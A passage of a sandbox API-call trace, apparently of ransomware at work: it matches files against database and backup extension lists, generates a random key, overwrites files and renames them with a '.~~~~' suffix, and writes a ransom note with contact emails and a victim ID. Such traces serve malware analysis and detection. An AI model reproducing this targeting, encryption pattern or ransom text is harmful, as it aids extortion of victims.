	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0086.620] lstrlenW (lpString=".vhd") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0086.620] lstrlenW (lpString=".bac") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0086.620] lstrlenW (lpString=".mdf") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0086.620] lstrlenW (lpString=".BAK") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0086.620] lstrlenW (lpString=".BAC") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0086.620] lstrlenW (lpString=".dbs") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0086.620] lstrlenW (lpString=".vhdx") returned 5
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0086.620] lstrlenW (lpString=".NDF") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0086.620] lstrlenW (lpString=".dat") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0086.620] lstrlenW (lpString=".DBS") returned 4
	[0086.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0086.621] lstrlenW (lpString=".CKP") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0086.621] lstrlenW (lpString=".edb") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0086.621] lstrlenW (lpString=".PST") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0086.621] lstrlenW (lpString=".dbf") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0086.621] lstrlenW (lpString=".SQL") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0086.621] lstrlenW (lpString=".pst") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0086.621] lstrlenW (lpString=".dbv") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0086.621] lstrlenW (lpString=".SDF") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0086.621] lstrlenW (lpString=".dtxs") returned 5
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0086.621] lstrlenW (lpString=".db3") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0086.621] lstrlenW (lpString=".OST") returned 4
	[0086.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0086.622] lstrlenW (lpString=".dbx") returned 4
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0086.622] lstrlenW (lpString=".DB3") returned 4
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0086.622] lstrlenW (lpString=".DAT") returned 4
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0086.622] lstrlenW (lpString=".VHDX") returned 5
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0086.622] lstrlenW (lpString=".ndf") returned 4
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0086.622] lstrlenW (lpString=".DB") returned 3
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0086.622] lstrlenW (lpString=".sql") returned 4
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0086.622] lstrlenW (lpString=".MYD") returned 4
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0086.622] lstrlenW (lpString=".DBT") returned 4
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0086.622] lstrlenW (lpString=".ACCDB") returned 6
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0086.622] lstrlenW (lpString=".fdb") returned 4
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0086.622] lstrlenW (lpString=".bak") returned 4
	[0086.622] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0086.622] lstrlenW (lpString=".myd") returned 4
	[0086.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0086.623] lstrlenW (lpString=".DTXS") returned 5
	[0086.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0086.623] lstrlenW (lpString=".ckp") returned 4
	[0086.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0086.623] lstrlenW (lpString=".dbt") returned 4
	[0086.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0086.623] lstrlenW (lpString=".db") returned 3
	[0086.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0086.623] lstrlenW (lpString=".TXT") returned 4
	[0086.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0086.623] lstrlenW (lpString=".MDF") returned 4
	[0086.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0086.623] lstrlenW (lpString=".bdb") returned 4
	[0086.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0086.623] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.625] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.625] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.626] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.626] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.626] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.650] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20664029948) returned 1
	[0086.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d72cad0, dwHighDateTime=0x1d60e1e)) 
	[0086.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fdf0
	[0086.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fdf0 | out: hHeap=0x300000) returned 1
	[0086.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb228
	[0086.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb228 | out: hHeap=0x300000) returned 1
	[0086.651] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.651] GetLastError () returned 0x0
	[0086.651] GetLastError () returned 0x0
	[0086.652] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.652] GetLastError () returned 0x0
	[0086.652] GetLastError () returned 0x0
	[0086.683] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff9dd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.683] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x623, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x623, lpOverlapped=0x0) returned 1
	[0086.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.683] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.683] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.683] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.683] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.683] CloseHandle (hObject=0x128) returned 1
	[0086.684] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8cc0
	[0086.684] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.~~~~")) returned 1
	[0086.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8cc0 | out: hHeap=0x300000) returned 1
	[0086.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.715] GetLastError () returned 0x0
	[0086.716] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.716] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.718] CloseHandle (hObject=0x128) returned 1
	[0086.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b68b0 | out: hHeap=0x300000) returned 1
	[0086.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0086.718] RtlWakeConditionVariable () returned 0x365f70
	[0086.718] GetCurrentThreadId () returned 0xaf0
	[0086.718] GetCurrentThreadId () returned 0xaf0
	[0086.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b64c0
	[0086.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6220 | out: hHeap=0x300000) returned 1
	[0086.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b368 | out: hHeap=0x300000) returned 1
	[0086.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6220
	[0086.719] lstrlenW (lpString=".scr") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".scr") returned 0x0
	[0086.719] lstrlenW (lpString=".cmd") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".cmd") returned 0x0
	[0086.719] lstrlenW (lpString=".dll") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".dll") returned 0x0
	[0086.719] lstrlenW (lpString=".bat") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".bat") returned 0x0
	[0086.719] lstrlenW (lpString=".cpl") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".cpl") returned 0x0
	[0086.719] lstrlenW (lpString=".sys") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".sys") returned 0x0
	[0086.719] lstrlenW (lpString=".msc") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".msc") returned 0x0
	[0086.719] lstrlenW (lpString=".com") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".com") returned 0x0
	[0086.719] lstrlenW (lpString=".lnk") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".lnk") returned 0x0
	[0086.719] lstrlenW (lpString=".msp") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".msp") returned 0x0
	[0086.719] lstrlenW (lpString=".pif") returned 4
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".pif") returned 0x0
	[0086.719] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch="msp\r\n.pif") returned 0x0
	[0086.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.720] lstrlenW (lpString=".sqb") returned 4
	[0086.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".sqb") returned 0x0
	[0086.720] lstrlenW (lpString=".ost") returned 4
	[0086.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".ost") returned 0x0
	[0086.720] lstrlenW (lpString=".txt") returned 4
	[0086.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".txt") returned 0x0
	[0086.720] lstrlenW (lpString=".mdt") returned 4
	[0086.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".mdt") returned 0x0
	[0086.720] lstrlenW (lpString=".BDB") returned 4
	[0086.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".BDB") returned 0x0
	[0086.720] lstrlenW (lpString=".eql") returned 4
	[0086.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".eql") returned 0x0
	[0086.720] lstrlenW (lpString=".DBF") returned 4
	[0086.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DBF") returned 0x0
	[0086.720] lstrlenW (lpString=".EQL") returned 4
	[0086.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".EQL") returned 0x0
	[0086.720] lstrlenW (lpString=".FDB") returned 4
	[0086.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".FDB") returned 0x0
	[0086.720] lstrlenW (lpString=".EDB") returned 4
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".EDB") returned 0x0
	[0086.721] lstrlenW (lpString=".DACPAC") returned 7
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DACPAC") returned 0x0
	[0086.721] lstrlenW (lpString=".VHD") returned 4
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".VHD") returned 0x0
	[0086.721] lstrlenW (lpString=".DBV") returned 4
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DBV") returned 0x0
	[0086.721] lstrlenW (lpString=".dacpac") returned 7
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".dacpac") returned 0x0
	[0086.721] lstrlenW (lpString=".sdf") returned 4
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".sdf") returned 0x0
	[0086.721] lstrlenW (lpString=".accdb") returned 6
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".accdb") returned 0x0
	[0086.721] lstrlenW (lpString=".DBX") returned 4
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DBX") returned 0x0
	[0086.721] lstrlenW (lpString=".MDT") returned 4
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".MDT") returned 0x0
	[0086.721] lstrlenW (lpString=".SQB") returned 4
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".SQB") returned 0x0
	[0086.721] lstrlenW (lpString=".vhd") returned 4
	[0086.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".vhd") returned 0x0
	[0086.721] lstrlenW (lpString=".bac") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".bac") returned 0x0
	[0086.722] lstrlenW (lpString=".mdf") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".mdf") returned 0x0
	[0086.722] lstrlenW (lpString=".BAK") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".BAK") returned 0x0
	[0086.722] lstrlenW (lpString=".BAC") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".BAC") returned 0x0
	[0086.722] lstrlenW (lpString=".dbs") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".dbs") returned 0x0
	[0086.722] lstrlenW (lpString=".vhdx") returned 5
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".vhdx") returned 0x0
	[0086.722] lstrlenW (lpString=".NDF") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".NDF") returned 0x0
	[0086.722] lstrlenW (lpString=".dat") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".dat") returned 0x0
	[0086.722] lstrlenW (lpString=".DBS") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".DBS") returned 0x0
	[0086.722] lstrlenW (lpString=".CKP") returned 4
	[0086.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS", lpSrch=".CKP") returned 0x0
	[0086.722] lstrlenW (lpString=".edb") returned 4
